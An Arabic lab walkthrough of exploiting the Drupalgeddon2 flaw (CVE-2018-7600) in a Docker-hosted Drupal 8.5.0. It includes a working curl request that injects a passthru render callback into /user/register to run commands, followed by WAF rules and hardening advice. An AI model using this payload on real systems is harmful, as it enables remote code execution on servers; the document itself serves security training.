
دليل معملي خطوة بخطوة لاستغلال CVE-2018-7600 (Drupalgeddon2) RCE في Drupal 8.5.0، يغطي تحليل سطح الهجوم، تحديد الإصدار، والاستغلال عبر حقن Form API.
ابدأ بإدراج الحاويات قيد التشغيل:
docker ps
من نتائج docker ps، الحاوية المخصصة لهذا المختبر هي:

p1/lab09:latest
هذه الحاوية تُظهر المنفذ:
0.0.0.0:8011->80/tcp
يشير هذا إلى أن الخدمة داخل الحاوية تستمع على المنفذ 80/tcp، ويتم تعيينها إلى المنفذ 8011 على المضيف.
المنفذ 80/tcp هو المنفذ القياسي لـ HTTP. لذلك، من المرجح جداً أن هذا المختبر المستهدف هو تطبيق ويب HTTP. للتأكد من خدمة الويب، أرسل طلب HTTP باستخدام curl مع الوصول إلى واجهة المستخدم الرسومية لصفحة الويب.
curl -i http://192.168.3.137:8011/


تقييم سطح الهجوم
من استجابة HTTP وواجهة الويب، تم تحديد المعلومات التالية:
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Drupal version: 8.5.0 Install path: /core/install.php Public port: 8011 -> 80/tcp
تُعد هذه المعلومات بصمات حاسمة للربط مع CVEs. على وجه التحديد، Drupal 8.5.0 هو الإصدار المرتبط مباشرة بـ CVE-2018-7600، المعروف أيضاً باسم Drupalgeddon2.
وفقاً للإعلان الرسمي لـ Drupal، فإن SA-CORE-2018-002 / CVE-2018-7600 يؤثر على الإصدارات التالية:
>= 8.5.0 < 8.5.1
الهدف الحالي يعمل على:
Drupal 8.5.0
وبالتالي فهو يقع ضمن نطاق الإصدارات المتأثرة.
⇒ تفكير:
في هذه المرحلة، إصدار Drupal 8.5.0 هو دليل قوي لتحديد CVE المشتبه به. أستنتج ما يلي:
docker ps أن المختبر يعرض خدمة HTTP عبر المنفذ 8011.curl -i استجابة HTTP صالحة من Apache/PHP./core/install.php.Drupal >=8.5.0 <8.5.1 متأثر بـ CVE-2018-7600.Drupal 8.5.0، مما يجعله مؤهلاً وفقاً لمعايير الإصدار لاختبار CVE-2018-7600.الهدف هو Drupal 8.5.0 يعمل على Apache/PHP. هذا الإصدار يقع ضمن النطاق المتأثر بـ CVE-2018-7600 وفقاً للإعلان الرسمي لـ Drupal. الخطوة التالية هي التحقق من ظروف الاستغلال الفعلية للتأكد مما إذا كان الهدف يمكن أن يخضع لـ RCE.

من خطوة البصمات السابقة، يُظهر الهدف بوضوح: Drupal 8.5.0. وفقاً للإعلان الرسمي من Drupal، تؤثر الثغرة الأمنية SA-CORE-2018-002 / CVE-2018-7600 على إصدارات نواة Drupal:
>= 8.5.0 < 8.5.1. الهدف الحالي يعمل بالضبط على Drupal 8.5.0، مما يضعه ضمن نطاق الإصدارات المتأثرة. وفقاً لـ إعلان Drupal، هذه ثغرة تنفيذ تعليمات برمجية عن بُعد في نواة Drupal، والتي قد تسمح للمهاجم باستغلال عدة نواقل هجومية وتؤدي إلى اختراق الموقع بالكامل.
ومع ذلك، يمكنك أن ترى أن الهدف يعيد التوجيه إلى /core/install.php وتعرض واجهة المستخدم شاشة تثبيت Drupal. يشير هذا إلى أن Drupal قد يكون في حالة تثبيت غير مكتملة. إذا لم يكتمل إعداد الموقع، فقد لا تعمل نقاط النهاية الشائعة المستخدمة لتشغيل Drupalgeddon2 مثل /user/register و/user/password و/user/login بشكل صحيح. لذلك، من الضروري التحقق من نقاط النهاية هذه.
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login

يمكن ملاحظة أن نقاط النهاية لا تزال معاد توجيهها إلى /core/install.php.
الاستنتاج:
الهدف يعمل على Drupal 8.5.0، ويقع ضمن نطاق الإصدارات المتأثرة بـ CVE-2018-7600 وفقاً للإعلان الرسمي لـ Drupal. ومع ذلك، في وقت الاختبار، يكون التطبيق في حالة مثبّت ويعيد توجيه المسارات مثل /user/register و/user/password و/user/login باستمرار إلى /core/install.php.
يظهر هذا أن نقاط النهاية المستخدمة عادةً للتحقق من Drupalgeddon2 لا تعمل بعد كما هو الحال في موقع Drupal المثبت بالكامل. لذلك، الهدف حالياً يلبي شرط الإصدار فقط ولكنه لا يستوفي بعد شروط وقت التشغيل لإظهار تنفيذ التعليمات البرمجية عن بُعد.
=> تفكير:
نحتاج إلى إثبات أن Drupal في حالة وقت التشغيل يمكنه معالجة المسارات/النماذج المعرضة للخطر، وأن المهاجم يمكنه الوصول إلى نقاط النهاية دون مصادقة، وأن حمولات التحقق مثل id يمكن تنفيذها بنجاح.
على الهدف الحالي، نقاط النهاية تعيد التوجيه إلى المثبّت، لذا فإن المسار التالي هو تقييم ما إذا كانت شاشة تثبيت Drupal تُنشئ سطح هجوم خاص بها، بدلاً من الاستنتاج فوراً بوجود RCE من نوع Drupalgeddon2.
بعد التحقق من أن نقاط نهاية وقت تشغيل Drupal مثل /user/register و/user/password و/user/login كلها معاد توجيهها إلى /core/install.php، شرعت في تحليل شاشة المثبّت.
التحقق من خدمة قاعدة البيانات التي تدعم المثبّت
بما أن مثبّت Drupal متوقف حالياً عند خطوة تكوين قاعدة البيانات، تحققت مما إذا كانت خدمات قاعدة البيانات الشائعة مكشوفة خارجياً:
nmap -sV -p 3306,5432,33060 192.168.3.137

الهدف الحالي يكشف عن مثبّت Drupal خارجياً، ولكن لم يتم اكتشاف أي خدمات قاعدة بيانات يمكن الوصول إليها مباشرة من جهاز المهاجم.
الاستنتاج: المختبر يكشف عن مثبّت Drupal 8.5.0 ويحتوي على كشف معلومات بخصوص الإصدار المعرض للخطر. CVE-2018-7600 هو ناقل مشتبه به صالح، لكن لم يتم إثبات الاستغلال الناجح بعد.
CVE-2018-7600 يستغل ثغرة في Drupal Form API - نظام عرض النماذج الذي يستخدم بنية Render Array. عند معالجة طلب AJAX، يستخدم Drupal معامل element_parents لتحديد موقع العناصر في شجرة النموذج دون التحقق (تنظيف) من المفاتيح التي تبدأ بحرف #. يقوم المهاجمون بحقن خصائص مثل #post_render و#markup و#type عبر بيانات POST لإجبار محرك العرض على تنفيذ دوال PHP عشوائية (مثل exec وpassthru وsystem).
الشرط المسبق: يجب أن تُرجع نقطة نهاية واحدة على الأقل تستخدم Form API استجابة صالحة (غير معاد توجيهها، غير محظورة بواسطة التحكم بالوصول) حتى يتمكن المهاجم من إرسال طلب AJAX يحتوي على الحمولة.
نقاط النهاية شائعة الاستخدام في PoCs العامة:
/user/register (نموذج التسجيل - لا يتطلب تسجيل دخول)/user/password (نموذج كلمة المرور المفقودة - لا يتطلب تسجيل دخول)/user/login (نموذج تسجيل الدخول - لا يتطلب تسجيل دخول)على الهدف الحالي: جميع نقاط النهاية الثلاثة أعلاه معاد توجيهها عبر 302 إلى /core/install.php ⇒ لم يتم تحقيقها بعد
تحدث الثغرة داخل خط معالجة AJAX لـ Form API: FormBuilder → RenderArray → تنفيذ #post_render callback. يعمل هذا الخط فقط عندما يقوم Drupal بتهيئة (bootstrap) جميع الأنظمة الفرعية اللازمة (التوجيه، حالة النموذج، محرك العرض).
في حالة المثبّت، يعمل Drupal في وضع bootstrap الأدنى - يقوم فقط بتهيئة ما يكفي لعرض نموذج التثبيت، ولكن الأنظمة الفرعية مثل التوجيه، معالج AJAX، وخط العرض الكامل قد لا تكون نشطة بالكامل بعد.
على الهدف الحالي: Drupal في حالة المثبّت ⇒ يتطلب مزيداً من التحقق
# في الطلباتيضيف التصحيح الرسمي لـ Drupal فئة RequestSanitizer مع طريقة stripDangerousValues() - والتي تقوم بمسح جميع $_GET و$_POST و$_COOKIE، وتجريد أي مفاتيح تبدأ بـ # في المراحل المبكرة من bootstrap.
إذا كان الهدف غير مُصحّح (يعمل على 8.5.0)، فإن فئة RequestSanitizer غير موجودة → الإدخال الذي يحتوي على # لن يتم تصفيته ⇒ تم تحقيقه
الاستنتاج: الهدف يستوفي شرط الإصدار وشرط غياب التصحيح. ومع ذلك، لم يتم إثبات شرطي نقطة النهاية المتاحة وbootstrap الكامل بسبب وجود Drupal في حالة المثبّت. الخطوة التالية هي اختبار ما إذا كان نموذج المثبّت (/core/install.php) - والذي يستخدم أيضاً Form API وRender Array - يمكن استغلاله كبديل لنقاط النهاية القياسية.
بعد تحديد أن الهدف يعمل على Drupal 8.5.0 في حالة المثبّت، فإن نقاط النهاية القياسية المستخدمة عادةً لاستغلال CVE-2018-7600 مثل /user/register و/user/password و/user/login كلها معاد توجيهها إلى /core/install.php. اعتقدت أن هذا قد يكون بسبب أنني لم أكمل إعداد الواجهة، لكنني ما زلت أرغب في التحقيق أكثر.
بعد التحقق، تم اكتشاف أن نموذج المثبّت يستخدم نفس Form API وRender Array engine المعرضين للخطر. ومع ذلك، فإن خط أنابيب AJAX يتطلب ذاكرة تخزين مؤقت للنموذج (Form Cache) ليعمل — والتي تستخدم قاعدة البيانات بشكل افتراضي كخلفية. نظراً لعدم وجود قاعدة بيانات بعد، فإن طلب AJAX إلى نموذج المثبّت يُرجع FormAjaxException في FormBuilder.php:333، مما يؤكد أن خط الأنابيب قد تم تنشيطه لكنه فشل في خطوة تحميل ذاكرة التخزين المؤقت.
تفكير: سأقوم بتثبيت Drupal باستخدام SQLite - وهي قاعدة بيانات لا تتطلب خادماً مخصصاً، فقط صلاحيات كتابة ملف على قرص الحاوية.
مع اتصال Drupal بالإنترنت، تعمل نقطة النهاية /user/register بشكل طبيعي وتعمل كنقطة حقن. تستخدم الحمولة آلية حقن render array:
element_parents=account/mail/%23value — يحدد حقل mail في شجرة النموذجmail[#post_render][]=passthru — يحقن دالة الاستدعاء passthru()mail[#markup]=id — المحتوى الذي يتم تمريره إلى passthru() كوسيطةcurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"

تحليل الاستجابة:
تشير النتيجة uid=33(www-data) إلى أن الحمولة تم تنفيذها على نظام التشغيل بصلاحيات مستخدم www-data. هذا هو المستخدم المستخدم عادةً لتشغيل خادم الويب Apache/PHP على لينكس المبني على Debian. نظراً لأن الأمر id تم تنفيذه من جانب الخادم وأعاد ناتجاً، فقد تم تأكيد تنفيذ التعليمات البرمجية عن بُعد بنجاح. ومع ذلك، فإن الصلاحية الحالية هي www-data، وليست root، لذا فإن نطاق التحكم المبدئي يقتصر على صلاحيات خادم الويب.
التحكم في الوصول إلى نقاط النهاية
إذا كان الموقع لا يتطلب تسجيل مستخدمين عام، فقم بتعطيل نقطة النهاية /user/register:
قواعد WAF — حظر الحمولات المميزة
أضف قواعد WAF لحظر الطلبات التي تحتوي على مفاتيح مثل #post_render أو #pre_render أو #markup في جسم POST:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
**
**مبدأ أقل الصلاحيات لخادم الويب**
يجب ألا يعمل خادم الويب بصلاحيات `root`. تؤكد نتائج المختبر أن العملية تعمل كـ `uid=33(www-data)` — وهو التكوين الصحيح، ولكن يجب إجراء التحسينات التالية:
- تقييد صلاحيات الكتابة لـ `www-data` بشكل صارم على الدلائل الضرورية (`sites/default/files/`)
- تحميل نظام الملفات للقراءة فقط لدلائل التعليمات البرمجية (`/var/www/html/core/`، `/var/www/html/modules/`)
**لا تعرض المثبّت للإنترنت**
في هذا المختبر، المثبّت عام — يمكن للمهاجم استغلال ذلك **لإعادة تثبيت Drupal** باستخدام SQLite وتنفيذ الاستغلال. يتطلب الإنتاج في العالم الحقيقي:
- حذف أو تقييد الوصول إلى `/core/install.php` بعد اكتمال التثبيت
- إضافة قاعدة `.htaccess` أو تكوين خادم الويب لحظر الوصول الخارجي إلى `/core/install.php`
<Files "install.php"> Order deny,allow Deny from all